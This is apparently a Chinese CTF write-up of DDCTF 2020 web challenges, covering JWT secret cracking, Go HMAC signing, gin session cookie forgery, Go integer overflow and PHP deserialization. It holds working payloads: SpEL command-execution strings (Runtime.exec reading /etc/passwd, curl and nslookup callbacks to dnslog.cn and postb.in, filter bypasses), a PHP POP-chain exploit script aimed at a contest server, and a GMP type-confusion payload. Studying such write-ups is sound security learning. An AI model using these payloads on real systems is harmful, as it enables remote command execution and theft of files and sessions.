好像应该在比赛的过程中就应该写wp的,要不然现在连个截图都没有。所以这里更想是记录几个题目涉及到的自己不知道的知识点。

web签到

  1. jwt伪造
  2. spel注入

jwt伪造其实不是第一次接触,签名有两种算法一个是对称加密另外一个是非对称加密,这里用的就是对称加密所以这里的密钥是可以爆破的。用到了一个工具: c-jwt-cracker

用法:

$ > ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE

然后客户端使用的加密是sha256+base64,一直以为是没有密钥的。

client是go写的,然后第二道题目也是go的框架所以这里就看一下go的代码:

package main

import (
    "bytes"
    "io/ioutil"
    "net/http"

    "crypto/hmac"
    "crypto/sha256"
    "encoding/base64"
    "encoding/json"
    "time"

    "github.com/gin-gonic/gin"
)

type Param struct {
    Command   string `json:"command"` // json编码时 command的key为 command 即反引号内
    Signature string `json:"signature"`
    Timestamp int64  `json:"timestamp"`
}

func main() {
    r := gin.Default()  //创建带有默认中间件的路由

    r.POST("/", func(c *gin.Context) {  //大概就是获取request
        command := c.DefaultPostForm("command", "DDCTF")//:= 可以不用声明类型,智能判断
        key := "DDCTFWithYou"

        timestamp := time.Now().Unix()
        plain := fmt.Sprintf("%s|%d", command, timestamp)
        mac := hmac.New(sha256.New, []byte(key)) //怕不是类型转换
        mac.Write([]byte(plain))

        param := new(Param)
        param.Command = command
        param.Signature = base64.StdEncoding.EncodeToString(mac.Sum(nil))
        param.Timestamp = timestamp
        js, _ := json.Marshal(param)    //json解析

        url := "http://117.51.136.197/server/command"
        resp, err := http.Post(url, "application/json", bytes.NewBuffer(js)) //buffer是一个bytes类型的缓冲器,存放的都是byte类型的内容
        if err != nil {
            panic(err)
        }
        defer resp.Body.Close()
        body, _ := ioutil.ReadAll(resp.Body)    //_忽略结果,特殊标识符
        c.String(http.StatusOK, string(body))
    })

    r.Run(":2333")
}

main packagegolang的根package。基于此,那么golangpackage关系应该就是以main package为跟的树状结构。只有main package引用其他package,而没有其他package引用main package的场景,这违背原则。

所以源码的重点就是加密的那部分,即sha256+base64。但是这里的hash算法是需要key的hmac_hash256

然后输入命令的地方是考了spel注入,表示确实不理解。开个java代码审计的头把。

15点28分 2020年9月8日
这里的java内容都不太懂,所以暂且先搁置以下,待我看看java代码审计之后再来搞。

spel:

Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中。

SpEL有三种用法,一种是在注解@Value中;一种是XML配置;最后一种是在代码块中使用Expression。

1、获取数据;2、执行运算;3、获取web开发常用对象;4、调用Java方法

spelssti的一种,所以貌似可以理解为speljava的一种渲染语言。在渲染过程中可能会被我们注入恶意代码。

#{}是定界符,类似于flask{{}}${}用来引用属性。所以类比来看:#{}包裹的是待解析的表达式,有点特殊的是T()可以用来调用域内的类函数方法 ,例如T(java.lang.Math)来调用Math类,常用的SpEL的使用方法有如下三种 :

T():
T(java.lang.Runtime).getRuntime().exec("cat /etc/passwd")

new 生成对象:
new java.util.Date()

java表达式:
'abc'.substring(2, 3)

利用:

${12*12}

T(java.lang.Runtime).getRuntime().exec("nslookup a.com")

T(Thread).sleep(10000)

#this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup a.com')

new java.lang.ProcessBuilder({'nslookup a.com'}).start()

T(org.apache.commons.io.IOUtils).toString(payload).getInputStream())
//java9

T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()

一点绕过方法:

java.lang.Runtime被过滤,可以使用字符拼接 :

''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'ls')

invoke(function, args)Java的反射机制,直观理解就是调用类的某个方法

如果直接执行exec就应该是这样getRuntime().exec("curl blah"),但如果是用invoke来调用就应该这样

execMethod.invoke(
getRuntimeMethod.invoke(null), // object you are making a method call against
"curl postb.in_url_here" // parameter to your method call
)
getRuntimeMethod.invoke(null)`会返回`Runtime`的实例来调用`exec

java.lang.Runtime被过滤,getClass也被过滤,还可以用数组下标的方法

"a".class.forName("ja"+"va.lan"+"g.Ru"+"ntime").getMethods()[13].invoke("a".class.forName("ja"+"va.lan"+"g.Ru"+"ntime").getMethods()[6].invoke(null),"curl http://bewsko.dnslog.cn")

Java8 直接读文件

"a".class.forName("java.nio.file.Files").readAllLines("a".class.forName("java.nio.file.Paths").get("/flag"))

(NEW java.io.BufferedReader(NEW java.io.FileReader("/flag"))).readLine()

参考链接:

https://www.cnblogs.com/poing/p/12837175.html

卡片商店

  1. go的数值溢出问题
  2. gin框架的session伪造

数值溢出的问题感觉像是逻辑的问题,首先你借的时候是没有问题的,但是你还的时候就会发现需要还的钱数是明显变少的,应该是用的数值类型不一样把,类似于下面的这种:

i := uint64(0xffffffffffffffff)
i2 := int64(i)
fmt.Println(i, i2)

18446744073709551615 -1

借钱 -》 自己get到了许多钱
    -》  还的时候估计是有类型的转换,或者是溢出的判断?导致还的钱数变少

gin的session伪造问题:

base64两次解码之后可以发现存在的字段为admin,因此可以直接构造差不多的demo,这里自己的demo找不到了,用别人的把。

package main

import (
    "github.com/gin-contrib/sessions"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/gin-gonic/gin"
)

func main() {
    r := gin.Default()
    store := cookie.NewStore([]byte("Udc13VD5adM_c10nPxFu@v12"))
    r.Use(sessions.Sessions("session", store))

    r.GET("/hello", func(c *gin.Context) {
        session := sessions.Default(c)
        if session.Get("admin") != true {
            session.Set("admin", true)
            session.Save()
        }

        c.JSON(200, gin.H{"admin": session.Get("admin")})
    })

    r.Run(":8000")
}

经过小伙伴的提示可以使用凡哥写的工具,orz,凡哥太强了。这里需要有个链接:

https://github.com/EddieIvan01/secure-cookie-faker

Secure Cookie Faker v0.1

Usage: faker [enc/dec] [-n cookie_name] [-k secret_key] [-o object_string / -c cookie_string]

Mode: 
  dec
        decode mode, cookie => object
  enc
        encode mode, object => cookie

Options:
  --help    show help
  -k string
        secret keys, string like "key" or multiple keys like "key1, key2, key3"
  -n string
        the cookie name
  -o string
        object to be encoded, string like "{key1[type]: value1[type], key2[type]: value2[type]}"
        type hint could be `int`, `float`, `bool`, `string`, `byte`
        when type is `string`, it could be omitted. like this {str1: str2}
        if mode is encode, this param is required
  -c string
        cookie to be decoded
        if mode is decode, this param is required
  -way string
        serialize way: gob | json | nop(default "gob")

因为差不多都可以看懂这里就不翻译了。例子:

decode:
./faker dec -c "MTU2MTE4NjQzNHxFXy1CQkFFQkEwOWlhZ0hfZ2dBQkVBRVFBQUJUXzRJQUF3WnpkSEpwYm1jTUJnQUVkWE5sY2daemRISnBibWNNQndBRllXUnRhVzRHYzNSeWFXNW5EQVFBQW1sa0EybHVkQVFDQUFBR2MzUnlhVzVuREFjQUJYQnZhVzUwQTJsdWRBUUZBUDBERFQ0PXwKR14WwPjXeUBZlZ0sKcEfRu-n7_va9drjsFaIEVahmA=="

encode:
./faker enc -n "mysession" -k "secret" -o "{user: admin, id: 0[int]}"
-n session name
-k key
-o object string类型可以省略

所以直接伪造session即可。

1599551947904

easy web

java相关,暂且搁置一下。

Overwrite Me

源码如下:

<?php
error_reporting(0);

class MyClass
{
    var $kw0ng;
    var $flag;

    public function __wakeup()
    {
        $this->kw0ng = 2;
    }

    public function get_flag()
    {
        return system('find /HackersForever ' . escapeshellcmd($this->flag));
    }
}

class HintClass
{   
    protected  $hint;
    public function execute($value)
    {
        include($value);
    }

    public function __invoke()
    {
        if(preg_match("/gopher|http|file|ftp|https|dict|zlib|zip|bzip2|data|glob|phar|ssh2|rar|ogg|expect|\.\.|\.\//i", $this->hint))
        {
            die("Don't Do That!");
        }
        $this->execute($this->hint);
    }
}

class ShowOff
{
    public $contents;
    public $page;
    public function __construct($file='/hint/hint.php')
    {
        $this->contents = $file;
        echo "Welcome to DDCTF 2020, Have fun!<br/><br/>";
    }
    public function __toString()
    {
        return $this->contents();
    }

    public function __wakeup()
    {
        $this->page->contents = "POP me! I can give you some hints!";
        unset($this->page->cont);
    }
}

class MiddleMan
{
    private $cont;
    public $content;
    public function __construct()
    {
        $this->content = array();
    }

    public function __unset($key)
    {
        $func = $this->content;
        return $func();
    }
}

class Info
{
    function __construct()
    {
        eval('phpinfo();');
    }

}

$show = new ShowOff();
$bullet = $_GET['bullet'];

if(!isset($bullet))
{
    highlight_file(__FILE__);
    die("Give Me Something!");
}else if($bullet == 'phpinfo')
{
    $infos = new Info();
}else
{
    $obstacle1 = new stdClass;
    $obstacle2 = new stdClass;
    $mc = new MyClass();
    $mc->flag = "MyClass's flag said, Overwrite Me If You Can!";
    @unserialize($bullet);
    echo $mc->get_flag();
}

也是自己不知道的知识点。

法1:

<?php

class MyClass {
    var $kw0ng;
    var $flag;
}

class HintClass {
    protected $hint;
}

class ShowOff {
    public $contents;
    public $page;
}

class MiddleMan {
    public $content;
    private $cont;
}


$showoff = new ShowOff();
$myclass = new MyClass();
$myclass->flag = '-exec cat /flag {} ;';
$showoff->page = new MiddleMan();
$showoff->page->content = [$myclass, 'get_flag'];

$paylod = urlencode(serialize($showoff));
$url = 'http://117.51.137.166/atkPWsr2x3omRZFi.php?bullet=';
echo file_get_contents($url . $paylod);

调用类内方法的另外一种形式:

class A{
    function A1(){
        echo 123;
    }
}
$a1=new A();
$a=[$a1,'A1'];
$a();

思路:

$showoff->__wakeup() => $middleman->__unset() => $func() 

很简单,当初试过去读hint文件,但是并不能读到,奇怪。当然这里的执行的函数也可以是include($value)函数,直接包含flag文件。这里还涉及到一点只是点就是escapeshellcmd的绕过。大概还会开一个专题。

法2:

GMP是The GNU MP Bignum Library,是一个开源的数学运算库,它可以用于任意精度的数学运算,包括有符号整数、有理数和浮点数。它本身并没有精度限制,只取决于机器的硬件情况。

stdClass在PHP5才开始被流行。而stdClass也是zend的一个保留类。stdClass类是PHP的一个内部保留类,初始时没有成员变量也没成员方法,所有的魔术方法都被设置为NULL.凡是用new stdClass()的变量,都不可能会出现$a->test()这种方式的使用。PHP5的对象的独特性,对象在任何地方被调用,都是引用地址型的,所以相对消耗的资源会少一点。在其它页面为它赋值时是直接修改,而不是引用一个拷贝。

这里需要说明的一点就是stdclass并不是所有类的基类,此类内所有的魔术方法都是null,即仅仅是一个类的外壳而已,所以不会出现$a->test()此类的函数调用,就相当于一个存储键值对的数组。但是它和数组的区别在哪呢?

$a=new stdClass();
$a->aa=123;
$a->bb=456;
var_dump($a);
$b=$a;
$b->aa=456;
var_dump($b);
var_dump($a);
$a1=['aa'=>123,'bb'=>456];
var_dump($a1);
$b1=$a1;
$b1['aa']=456;
var_dump($a1);
var_dump($b1);

class stdClass#1 (2) {
  public $aa =>
  int(123)
  public $bb =>
  int(456)
}
F:\project\php1\ddctf_web4_p1.php:123:
class stdClass#1 (2) {
  public $aa =>
  int(456)
  public $bb =>
  int(456)
}
F:\project\php1\ddctf_web4_p1.php:124:
class stdClass#1 (2) {
  public $aa =>
  int(456)
  public $bb =>
  int(456)
}
F:\project\php1\ddctf_web4_p1.php:126:
array(2) {
  'aa' =>
  int(123)
  'bb' =>
  int(456)
}
F:\project\php1\ddctf_web4_p1.php:129:
array(2) {
  'aa' =>
  int(123)
  'bb' =>
  int(456)
}
F:\project\php1\ddctf_web4_p1.php:130:
array(2) {
  'aa' =>
  int(456)
  'bb' =>
  int(456)
}

应该很容易看出来了,stdclass和数组的区别就是,上述的a=b;即共用一个内存空间,所以修改是连锁的,但是数组则是完整的拷贝,当你修改另一个数组时拷贝的原数组的内容是不变的。记得前端时间也考过类似的一道题目:

<?php
highlight_file(__FILE__);
include('flag.php');
$a = $_GET['a'];
$b = unserialize ($a);
$b->c = $flag;
foreach($b as $key => $value)
{
        if($key==='c')
        {
                continue;
        }
        echo $value;
}
?>

这里的一个考点其实就是stdclass的类数组的特性,还有一点就是类内变量的引用,这里的R:2,说明引用的是第一个变量,R:3则是引用的第二个变量,即从2开始。

$b=new stdClass();
$b->c=123;
$b->c1=&$b->c;
$b->c = "heiheihei";
foreach($b as $key => $value)
{
    if($key==='c')
    {
        continue;
    }
    echo $value;
}

参考的别的文章的测试代码,因为文章里都是c的源码,看不懂所以只能简单分析一下结构:

<?php

class obj
{
    var $ryat;

    function __wakeup()
    {
        $this->ryat = 1;
    }
}

class b{
    var $ryat =1;
}

$obj = new stdClass;
$obj->aa = 1;
$obj->bb = 2;

$obj2 = new b;

$obj3 = new stdClass;
$obj3->aa =2;


$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
$x = unserialize($exploit);

$obj4 = new stdClass;

var_dump($x);
var_dump($obj);
var_dump($obj2);    
var_dump($obj3);
var_dump($obj4);

?>

结果:

array(1) {
  [0]=>
  &int(1)
}
object(stdClass)#1 (3) {
  ["aa"]=>
  string(2) "hi"
  ["bb"]=>
  string(2) "hi"
  [0]=>
  object(obj)#5 (1) {
    ["ryat"]=>
    &int(1)
  }
}
object(b)#2 (1) {
  ["ryat"]=>
  int(1)
}
object(stdClass)#3 (1) {
  ["aa"]=>
  int(2)
}
object(stdClass)#4 (0) {
}

payload:

$inner = 's:1:"4";a:2:{s:4:"flag";s:20:"-exec cat /flag {} ;";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';

需要一个含有__wakeup函数的类,且该函数内有对类内变量的赋值(int)类型的。

如果你按照payload反序列化的话,其中选用含__wakeup函数的类的wakeup函数中赋的值若为1则修改的是第一个声明的对象,若是2则修改的是第二个声明的对象。这里的对象需要是反序列化之前声明的对象。若上面的例子是ryat4的话则会报错因为修改了没有分配的对象空间。

如果目标的php版本在5.6 <= 5.6.11中,我们可以直接使用内置的魔术方法来触发这个漏洞。

var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}};i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}'));

参考链接:

https://paper.seebug.org/1267/

说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...